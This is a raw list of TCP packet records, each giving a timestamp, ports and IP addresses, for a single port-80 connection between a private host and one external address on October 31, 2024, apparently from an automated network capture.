Oct 31, 2024 20:52:08.114454031 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.114459991 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.114466906 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.114475012 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.114495993 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.114522934 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.275075912 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.275096893 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.275110006 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.275127888 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.275173903 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.275187969 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.275198936 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.275239944 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.275273085 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.275288105 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.275304079 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.275414944 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.275414944 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.275414944 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.275564909 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.275579929 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.275600910 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.275613070 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.275624037 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.275625944 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.275655031 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.275674105 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.275695086 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.275707006 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.275717020 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.275748968 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.275773048 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.275804996 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.276686907 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.276715040 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.276726007 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.276741028 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.276757956 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.276777029 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.279023886 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.279069901 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.279079914 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.279082060 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.279110909 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.279133081 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.279520035 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.279531956 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.279541969 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.279567957 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.279575109 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.279589891 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.279602051 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.279602051 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.279614925 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.279632092 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.279656887 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.279704094 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.279715061 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.279726028 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.279737949 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.279748917 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.279753923 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.279776096 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.279793024 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.279819012 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.279829979 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.279840946 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.279853106 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.279863119 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.279865026 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.279889107 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.279917002 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.280172110 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280184984 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280195951 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280224085 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.280242920 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.280244112 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280256987 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280268908 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280281067 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280287981 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.280313969 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.280333996 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.280358076 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280369043 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280380011 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280390978 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280396938 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.280402899 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280412912 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.280415058 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280435085 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.280462027 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.280541897 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280554056 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280565023 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280591011 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.280611038 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.280638933 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280652046 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280663013 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280675888 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280689955 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.280720949 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.280736923 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280749083 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280759096 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280772924 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280786037 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.280798912 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.280828953 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.280833960 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280846119 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280857086 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280869007 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280874014 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.280880928 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280894041 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.280894041 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.280914068 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.280944109 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.281029940 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.281040907 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.281050920 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.281060934 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.281074047 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.281080961 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.281084061 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.281095028 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.281096935 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.281114101 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.281126976 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.281126976 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.281140089 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.281150103 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.281151056 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.281162024 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.281174898 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.281192064 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.281214952 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.444799900 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.444894075 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.444909096 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.444925070 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.444936037 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.444941998 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.444948912 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.444984913 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.444998026 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.445008993 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.445020914 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.445034981 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.445048094 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.445058107 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.445075035 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.445080042 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.445080042 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.445101976 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.445101976 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.445108891 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.445139885 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.446161032 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.446213961 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.446584940 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.446634054 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.446873903 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.446883917 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.446894884 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.446923971 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.446939945 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.447177887 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.447190046 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.447227955 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.450608969 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.450659990 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.450738907 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.450748920 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.450758934 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.450771093 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.450783014 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.450788975 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.450799942 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.450809002 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.450812101 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.450829029 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.450870991 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.450881004 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.450896025 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.450911045 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.450921059 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.450934887 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.450937033 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.450948954 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.450954914 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.450961113 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.450965881 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.450965881 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.450972080 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.450977087 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.450979948 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.450992107 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451009989 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.451018095 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451030016 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451037884 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.451039076 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451050043 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451059103 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.451064110 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451066971 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451077938 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451082945 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451087952 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.451093912 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451102018 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.451106071 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451116085 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451128006 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451132059 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.451139927 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.451143026 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451169968 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.451175928 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451186895 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451193094 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.451199055 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451209068 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451219082 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451231003 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.451232910 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451246977 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451253891 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451256037 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451261044 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451266050 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.451272011 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451283932 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451293945 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451297045 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.451311111 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451325893 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451330900 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.451339006 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451344013 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.451365948 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.451379061 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.451489925 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451503992 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451544046 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.451653957 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451666117 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451675892 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451702118 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.451719999 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.451788902 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451801062 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451817036 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451828957 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451838970 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.451839924 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451850891 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451865911 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.451884031 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.451909065 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.451981068 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.451997995 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.452008963 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.452022076 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.452033997 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.452044964 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.452044964 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.452044964 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.452055931 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.452070951 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.452076912 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.452095985 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.452112913 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.452125072 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.452140093 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.452152014 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.452162981 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.452163935 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.452182055 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.452203989 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.452302933 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.452351093 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.608541965 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.608556032 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.608566999 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.608613014 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.608624935 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.608639002 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.608649969 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.608650923 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.608661890 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.608678102 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.608692884 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.608711004 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.608732939 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.608968019 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.609018087 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.609067917 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.609077930 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.609088898 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.609118938 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.609133005 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.609627962 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.609643936 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.609659910 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.609683990 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.609774113 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.609786987 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.609797955 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.609803915 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.609807968 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.609817028 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.609819889 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.609859943 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.609873056 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.612623930 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.612634897 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.612644911 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.612668991 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.612679958 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.612684011 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.612692118 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.612703085 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.612726927 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.612751007 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.612756968 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.612768888 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.612802982 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.612806082 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.612818003 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.612828016 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.612837076 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.612839937 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.612858057 CET	80	49734	185.215.113.16	192.168.2.4
